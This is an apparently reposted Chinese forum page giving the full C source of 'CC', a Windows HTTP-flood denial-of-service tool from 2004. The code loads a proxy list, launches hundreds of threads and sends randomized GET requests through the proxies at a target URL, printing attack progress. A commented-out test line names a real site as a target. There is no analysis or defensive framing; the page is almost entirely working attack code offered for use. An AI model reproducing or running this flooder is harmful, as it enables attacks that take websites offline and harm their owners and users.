首页 网络安全 安全学院 查看内容

CPD的原代码

2009-2-9 06:14 1026 0

摘要: 作者:欧欧鼠 //庆祝新年,05年不准备放代码了,现在把CPD代码发布出来//懂行的看门道,你不是高手就别看了,看了你也不会。这么厉害的东西。不是菜鸟用的。//怪狗过...
关键词: nbsp printf pnow char NULL struct Sproxy sendcount return THREAD

作者:欧欧鼠 //庆祝新年,05年不准备放代码了,现在把CPD代码发布出来//懂行的看门道,你不是高手就别看了,看了你也不会。这么厉害的东西。不是菜鸟用的。//怪狗过些天有时间改改。#include <winsock.h>#include <string.h>#include <stdio.h>#include <time.h>#pragma comment(lib,"wsock32")#define WAVERS MAKEWORD(2,0)#define DEF_DELAY 5#define DEF_FILE "cc.txt"#define DEF_THREAD 300#define DEF_MAXSEND 10000#define DEF_REF "http://www.n-ku.com/blog/blog.asp?name=bigboyq"#define VER "2.0"struct Sproxy{    char host[128];    int port;    struct Sproxy *next;};struct Sproxy *pnow;    struct Sproxy *head; struct Sproxy *last;int mThread,nThread,stop,bh,bc;char *hostip=NULL,*refer=NULL,*hosts=NULL,*cook;FILE *fp;long int sendcount,lastcount;HANDLE hMutex = NULL;void usage(char* p){    printf("[+] New DDOS Tool CC v%s\n",VER); printf("[+] Welcome everyone to Visit http://www.n-ku.com/blog/blog.asp?name=bigboyq\n"); printf("[+] More Support Please Contact QQ:167110 or E-mail:[email protected]\n"); printf("[+] USAGE:%s [OPTION]\n",p); printf("[+] [-c <COOKIE>] Cookie of HTTP to Use\n"); printf("[+] [-d <Delay>] Set Time to Delay DEFAULT:%d\n",DEF_DELAY); printf("[+] [-f <ProxyFile>] Load Proxy From File DEFAULT:%s\n",DEF_FILE); printf("[+] [-m <MaxSend>] Set a Value that you want to Send DEFAULT:%d\n",DEF_MAXSEND); printf("[+] [-r <Refer>] Refer of HTTP Refer\n[+] DEFAULT:%s\n",DEF_REF); printf("[+] [-s <HOST>] HOST of HTTP\n"); printf("[+] [-t <Thread>] Set Thread to Use DEFAULT:%d\n",DEF_THREAD); printf("[+] <-h <HTTPURL>> HTTP Request,you must Start with http://\n"); printf("[+] EASYUSAGE:%s <-h HTTPURL>\n",p);}    void ProcExit(){ //发消息让线程停止 stop=1;    printf("[+] Begin Exit,Please Wait Thread to End...\n"); //等待线程停止 while(nThread>0)  Sleep(2000); //释放代理列表 pnow=head; pnow=last; pnow=pnow->next; printf("[+] Thread Exit OK!Freeing Memory...\n"); while(pnow!=head) {  last=pnow->next;  free(pnow);  pnow=last; }    free(pnow); printf("[+] Program Exit Success!\n"); printf("[+] See you again!\n"); exit(1);}int NetInit(){    WSADATA wsadata;    int err;    err=WSAStartup(WAVERS,&wsadata);    return err;}char* gethttp(int j){    int i,ct;    char *buf,*temp=NULL,*thost,*head=NULL;    char *rc=NULL; char rdc[1024]; int ascs,ascw; srand((unsigned)time( NULL )+j);  thost=(char *)malloc(1024); buf = (char *)malloc(1024); head=thost; memset(thost,0,1024); memset(buf,0,512); strcpy(thost,hostip); temp="GET "; strcat(buf,temp); ascs=0;ascw=0; rc=strchr(thost,'+'); while(rc) {  rc[0]='\0';  strcat(buf,thost);  ct=rc[2]-48;  switch(rc[1])  {  case 's':   ascs=97;   ascw=26;   break;  case 'S':   ascs=65;   ascw=26;   break;  case 'n':  case 'N':   ascs=48;   ascw=10;   break;  }  for(i=0;i<ct;i++)   rdc[i]=(char)(ascs+rand()%ascw);  rdc[ct]='\0';  strcat(buf,rdc);  thost=&rc[3];  rc=strchr(thost,'+'); } strcat(buf,thost); temp=" HTTP/1.1\r\n"; strcat(buf,temp); temp="Accept: */*\r\nReferer: "; strcat(buf,temp); strcat(buf,refer); temp="\r\nAccept-Language: zh-cn\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0; .NET CLR 1.1.4322)\r\n";    strcat(buf,temp); if (bh==1) {  temp="HOST: ";  strcat(buf,temp);  strcat(buf,hosts);  temp="\r\n";  strcat(buf,temp); } if (bc==1) {  temp="Cookie: ";  strcat(buf,temp);  strcat(buf,cook);  temp="\r\n";  strcat(buf,temp); } temp="Proxy-Connection: Keep-Alive\r\n\r\n"; strcat(buf,temp); free(head);    free(temp); return buf;}DWORD WINAPI Flood(LPVOID i){    char buf[512];    int err; char *fhost=NULL; sockaddr_in sin;    SOCKET sock; WaitForSingleObject(hMutex,INFINITE); nThread++; ReleaseMutex(hMutex); while(stop==1) {  Sleep(1000); } while(stop==0) {  //这样锁?  WaitForSingleObject(hMutex,INFINITE);  pnow=pnow->next;  sin.sin_port=htons(pnow->port);      sin.sin_addr.s_addr=inet_addr(pnow->host);  memset(buf,0,512);  fhost=gethttp((int)i);  strcat(buf,fhost);  free(fhost);  ReleaseMutex(hMutex);  sin.sin_family=AF_INET;  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  if (sock==INVALID_SOCKET)  {   printf("[-] Thread Create SOCK Failed\n");   return 0;  }  if (connect(sock,(sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)  {  }  else      {      WaitForSingleObject(hMutex,INFINITE);   sendcount++;   ReleaseMutex(hMutex);   err=send(sock,buf,sizeof(buf),0);  }   closesocket(sock); }     WaitForSingleObject(hMutex,INFINITE);    nThread--; ReleaseMutex(hMutex); free(buf); return 1;}          int main(int argc, char *argv[]){    int i,ti,delay; long int maxsend;    char *filename=NULL;    char fdata[128];    char mao=':';    char *mp; /*  hosts="www.n-ku.com"; refer="www.fz.fj.cn"; hostip="http://www.fz.fj.cn/list.asp?id=+s1+n1+S1"; printf("%s\n",gethttp(1)); return 1; */  bh=0;bc=0; if(argc < 3)    {        printf("[-] Need Option!!!\n");        usage(argv[0]);        return 1;    } mThread=DEF_THREAD; filename=DEF_FILE; delay=DEF_DELAY; maxsend=DEF_MAXSEND; refer=DEF_REF; for(i=1;i<argc;i+=2)    {        if(strlen(argv[i]) != 2)        {            printf("[-] Option Unknow!!!\n");            usage(argv[0]);            return 1;        }  // check parameter        if(i == argc-1)        {            printf("[-] Option Error!!!\n");            usage(argv[0]);            return 1;        }        switch(argv[i][1])        {  case 'h':   hostip = argv[i+1];   break;  case 'd':   delay = atoi(argv[i+1]);   break;  case 't':   mThread = atoi(argv[i+1]);   break;  case 'f':   filename = argv[i+1];   break;        case 'm':   maxsend = atoi(argv[i+1]);   break;  case 'r':   refer=argv[i+1];   break;  case 's':   hosts=argv[i+1];   bh=1;   break;  case 'c':   cook=argv[i+1];   bc=1;   break;  }    } if(hostip == NULL)    {  printf("[-] Please Enter HTTP URL!\r\n");  return 1;    }    if (mThread<1||mThread>1900)    {        printf("[-] Thread [%d] must Between [1-1900]\n",mThread);        return 1;    }    fp=fopen(filename, "r");    if(fp==NULL)     {        printf("[-] Filename [%s] open Failed!\n",filename);        return 1;    }        //读取代理部分     memset(fdata,0,128);    pnow=(struct Sproxy*)malloc(sizeof(struct Sproxy));    head=pnow;    last=pnow;    while(fscanf(fp,"%s",fdata)!=-1)     {        pnow=(struct Sproxy*)malloc(sizeof(struct Sproxy));        memset(pnow->host,0,128);         last->next=pnow;        last=pnow;        mp=strrchr(fdata,mao);        mp[0]='\0';        strcat(pnow->host ,fdata);        mp++;        pnow->port=atoi(mp);    }        last=head;    head=head->next;    pnow->next=head;    free(last);    fclose(fp);    printf("[+] Proxy Load Success [%s]!\n",filename);    //代理读取结束,启动网络     if (NetInit()!=0)    {        printf("[-] WSAStartup Failed!\n");        return 1;    }    printf("[+] WSAStartup Success!\n[*] Wait for Threads Begin[");     //Now Begin Thread    stop=1;ti=0; hMutex = CreateMutex(NULL, FALSE, NULL);    for (i=0;i<mThread;i++)    {  CreateThread(0, 0, Flood, (void*)i, 0, 0);  if ((i/50)*50==i)    printf(".");    }     Sleep(500); printf("]\n[+] [%d] Threads Started!\n[+] Attacking [%s]\n",nThread,hostip); stop=0; Sleep(delay*1000); while(sendcount<maxsend)    {        ti++;  printf("[+] Finish: [%d%%] C Avg.Speed: [%d] C/S Now: [%d] C/S\n",(sendcount*100)/maxsend,sendcount/(delay*ti),(sendcount-lastcount)/delay);  lastcount=sendcount;  Sleep(delay*1000); }     ProcExit(); return 1;}/*Thanks to everyone's Supportif you like it,please tell me [email protected] you change it,please share your codeif you use this code,please keep my name Thank you  12.31.2004*/
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部